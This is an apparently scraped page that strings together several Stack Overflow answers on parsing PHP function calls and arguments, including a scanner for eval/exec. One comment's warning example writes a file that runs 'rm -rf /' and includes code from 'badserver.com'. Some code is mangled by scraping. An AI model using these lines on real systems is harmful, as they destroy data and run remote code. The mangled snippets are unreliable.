Php parse function call

Parse PHP code to extract function names?

I have to make a script in PHP that will scan other PHP files to check for dangerous function calls like eval,exec . Is there any parser available that can give me a logical structure of code. Or i have to go with Regex. Thanks, any type suggestions are welcome. Arshdeep Edit: i am not considering it as «one shot kill all». I have some other things in mind too, but its still something that i have to do.

Your code will not work, even if you inspect the file, it can use Reflection or other ways to hide the original function name. You will never be fully safe. You need to disable the functions that isn’t allowed.

possible duplicate of Extracting function names from a file (with or without regex) — A regex might be sufficient to detect possible occurences only. It won’t see any $fn = «unlink»; $fn(); or other obfuscated calls. Neither will the tokenizet approach (which is slightly more complex, due to filtering class methods actually needs a mini parser).

Also the retarded security myth about eval() : That’s just another name for include() . See also exploitable php functions.

Читайте также:  Html to database connection refused

just a warning: don’t rely on this. There are nearly endless ways to do nasty things with your server. Think about file_put_contents(‘nasty.php’, ‘ex’ . ‘ec(«rm -rf /»);’); include ‘nasty.php’; or even include ‘http://badserver.com/nasty.php’

3 Answers 3

Don’t, you’ll only shoot yourself in the foot.

PHP is a highly dynamic language. You probably can’t even imagine what possibilities there are to execute code. I had some attempts at preprocessing PHP for sandboxing and from my experience I can tell you that it is very hard to account for all cases. To get a rough overview of what you are facing, look at the exploitable functions list, which was created over time and still isn’t perfect.

To answer your actual question, I maintain a PHP parser written in PHP. You could intercept all function calls by defining a node visitor looking roughly like this:

class MyNodeVisitor extends PHPParser_NodeVisitorAbstract < public function enterNode(PHPParser_Node $node) < if ($node instanceof PHPParser_Node_Expr_FuncCall) < if ($node->name instanceof PHPParser_Node_Name) < // static function name >else < // dynamic function name >> > > 

Источник

Parse a string to parse command line arguments from a string?

This means you must extract the function and parameter separately from your variable: Would result in the array containing the function name at index 1 and the parameter at index 2. I can’t run this other php file, or change the code of it, I just want to grep out the arguments (which I have done) and then pass these arguments to my own function.

Parse a string to parse command line arguments from a string?

Is there a native «PHP way» to parse command arguments from a string? For example, given the following string:

some random string --color=red --is_corvette=true 

I want to create the following array:

array(3) < ['color'] =>string(3) «red» [‘is_corvette’] => string(4) «true» >

So a flag is defined as «—» and the string after the flag determines the attribute and its corresponding value.

I know about PHP’s getopt() function, but it seems that can only be used to parse arguments passed into a PHP script via the command line, and doesn’t seem to be able to parse any string on demand

You can use a regex to find each occurrence, then reformat its result to get precisely what you’re expecting, like this:

$s = 'some random string --color=red --is_corvette=true'; preg_match_all( '/--((?:color|is_corvette)=[\S]+)/', $s, $matches ); if ($matches AND $matches[1]) < foreach ($matches[1] AS $match) < $match = explode('=', $match); $result[$match[0]] = $match[1]; >> 

Beyond the current example you may build a function for a more general use, taking in account a predefined set of possible keys and their default values :

function args_from_string($string, $set) < preg_match_all( '/--((?:' . implode('|', array_keys($set)) . ')=[\S]+)/', $string, $matches ); if ($matches AND $matches[1]) < foreach ($matches[1] AS $match) < $match = explode('=', $match); $set[$match[0]] = $match[1]; >> return $set; > $predefined_set = [ 'color' => 'black', 'is_corvette' => 'false', 'other_arg' => 'value', // . ]; $current_set = args_from_string( 'some random string --color=red --is_corvette=true', $predefined_set ); 

PHP parse_str() Function, The parse_str () function parses a query string into variables. Note: If the array parameter is not set, variables set by this function will overwrite existing variables of the same name. Note: The magic_quotes_gpc setting in the php.ini file affects the output of this function. If enabled, the variables are converted by addslashes () before Code sample»;echo $age;?>Feedback

Pass a string as an argument

I have a string which have grepped out of a php file , which was the arguments passed into a function, a var_dump of the string looks like this

and what I would like to do, is pass this to a function as two arguments. If there wasn’t going to be a chance of a , in the array then I could explode the string and pass the two arguments to the function. But I can’t and need to parse the string properly.

I can get around this by calling eval.

which would work, but using eval is «risky». Is there a native method to pass a string to which would separate it into an array of arguments which I could then pass to my function?

I can’t run this other php file, or change the code of it, I just want to grep out the arguments (which I have done) and then pass these arguments to my own function.

So the string which is greped could be changed, my code for it would need to handle most ways of writing php arguments (no spaces after ‘,’, or ‘ or «). It is always a string and an array, which is extracted from the text.

So it would need to support things like;

"foo",['name' => 'John, Smith'] "foo",[] "foo, bar", [1,2 ,3] 

Sort of like a reverse var_export. var_import 🙂

So, it seems like the best way might be to use eval. The code is «trusted» but still feels like a dirty way to do it, and thought there would be a method like parse_str or parse_url.

So basically, twofiles. a.txt which is opened and regex grabs the params in a function. File b.php runs the regex, and then needs to handle the string to pass to a different function.

a.txt can’t be changed to a php file. Need to run that code. (eval works as above).

File a.txt 'John, Smith']); .. something . ?> File b.php 'John, Smith'] but as a string. // need to split args so 'foo bar' can be passed as first argument, and the array as the second argument.. someFunction($args[0], $args[1]); > 

I did my best, but I’m still at beginning with PHP. There is no official function to convert an » array string » to array, so I tried to do a workaround with json_decode() .

Here is the code and a fiddle

 $original = "'foo, bar', ['name' => 'John, Smith' , 'anotherKey' => 'another value']"; $str = get_string_between($original, "'", "'"); $arr = get_string_between($original, "[", "]"); $arr = json_decode(str_replace(' => ',':',str_replace('\'','"','')), true); var_dump($str); print_r($arr); ?> 
string(8) "foo, bar" Array ( [name] => John, Smith [anotherKey] => another value ) 

Of course my code could be improved, it’s just a start. There will be a problem if an array value will contains => , this should be fixed.

P.S.: get_string_between() was taken here.

PHP | parse_str() Function, The parse_str () function is a built-in function in PHP which parses a query string into variables. The string passed to this function for parsing is in the format of a query string passed via a URL. Syntax : parse_str ($string, $array)

How to parse function name with arguments in PHP?

I am building a module for my own PHP framework, so my question is very specific and special. It’s difficult to explain my question so I will go ahead and show it on code below.

I have a little piece of PHP in a $ code variable , it looks like this:

$code = "___echo(TODAY_IS, date('j.n.Y', time()), time());"; 

What I need is to parse this $code variable and I want to get this result:

 $result = array( 'function_name' => "___echo", 'arguments' => array( 0 => "TODAY_IS", 1 => "date('j.n.Y', time())", 2 => "time()" ) ); 

I am thinking and I have tried using some regex, but neither worked sufficiently well. I also tried using Tokenizer, however I wasn’t successful either.

Thanks for any hints or help in advance.

Here is a shot using PHP-Parser. It’s likely going to be more useful than tokenizer or some freaky regex.

Example:
$code = "___echo(TODAY_IS, date('j.n.Y', time()), time());"; $parser = new PhpParser\Parser(new PhpParser\Lexer); $prettyPrinter = new PhpParser\PrettyPrinter\Standard; $statements = $parser->parse("name->toString(); foreach ($statements[0]->args as $arg) < $result['arguments'][] = $prettyPrinter->prettyPrint(array($arg)); > var_export($result); 
Output:
array ( 'function_name' => '___echo', 'arguments' => array ( 0 => 'TODAY_IS', 1 => 'date(\'j.n.Y\', time())', 2 => 'time()', ), ) 

token_get_all() function is what you need here:

This returns a list of tokens parsed from the given string. See the tokens documentation for recognizing the items of the list.

In my opinion, tokenizer-based solution should be preferred over any regular expressions based on whatever is written in the PHP manual regarding syntax.

PHP parse function call with parameters from string, PHP parse function call with parameters from string Ask Question 0 What is the best way to parse a string containing a function call with parameters in PHP so that I have the function name and the parameters with their correct types. Example: $string = «ask (‘Do you want to continue?’, [‘yes’, ‘no’])»;

Parse a string to extract function name and parameter for use with `call_user_func()`

How do I execute the transaction(123) function?

The response via API is: transaction(123)

I store this in the $response varible.

 //api response $response = "transaction(123)"; try < $orderid = call_user_func($response); echo $orderid; >catch (Exception $e) < echo 'Caught exception: ', $e->getMessage(), "\n"; > ?> 

According to the manual page call_user_func() should be called with two parameters in your use case.

$orderid = call_user_func('transaction', 123); 

This means you must extract the function and parameter separately from your $response variable:

preg_match('/([\w\_\d]+)\(([\w\W]*)\)/', $response, $matches); 

Would result in the $matches array containing the function name at index 1 and the parameter at index 2.

$orderid = call_user_func($matches[1], $matches[2]); 

Obviously you need to be very careful with the values if they are coming from an untrusted source.

The bad way to do it, is to use the eval() function. It’s very bad in your use-case because the API may very well return things you don’t want to execute.

The good way to do it is to parse your string, validate its contents, and map the call and its arguments accordingly.

You can parse the return string using a regular expression:

preg_match("/^(.+?)\((.*?)\)$/", $answer, $match); var_dump($match[1]); // method var_dump(explode(',', $match[2])); // arguments 

You must sanitize/validate the above.

$orderid = call_user_func('transaction', 123); 

Additionally, take a look at http://es.php.net/manual/en/function.call-user-func.php

Parsing command arguments in PHP, Is there a native «PHP way» to parse command arguments from a string? For example, given the following string: foo «bar \»baz\»» ‘\’quux\» I’d like to create the following array: array(3) < Stack Overflow. About; Products For Teams; Stack Overflow Public questions & answers; Stack Overflow for Teams Where …

Источник

Parse a string to extract function name and parameter for use with `call_user_func()`

How do I execute the transaction(123) function? The response via API is: transaction(123) I store this in the $response varible.

 //api response $response = "transaction(123)"; try < $orderid = call_user_func($response); echo $orderid; >catch (Exception $e) < echo 'Caught exception: ', $e->getMessage(), "\n"; > ?> 

3 Answers 3

According to the manual page call_user_func() should be called with two parameters in your use case.

$orderid = call_user_func('transaction', 123); 

This means you must extract the function and parameter separately from your $response variable:

preg_match('/([\w\_\d]+)\(([\w\W]*)\)/', $response, $matches); 

Would result in the $matches array containing the function name at index 1 and the parameter at index 2.

$orderid = call_user_func($matches[1], $matches[2]); 

Obviously you need to be very careful with the values if they are coming from an untrusted source.

The bad way to do it, is to use the eval() function. It’s very bad in your use-case because the API may very well return things you don’t want to execute.

The good way to do it is to parse your string, validate its contents, and map the call and its arguments accordingly.

You can parse the return string using a regular expression:

preg_match("/^(.+?)\((.*?)\)$/", $answer, $match); var_dump($match[1]); // method var_dump(explode(',', $match[2])); // arguments 

You must sanitize/validate the above.

Источник

Оцените статью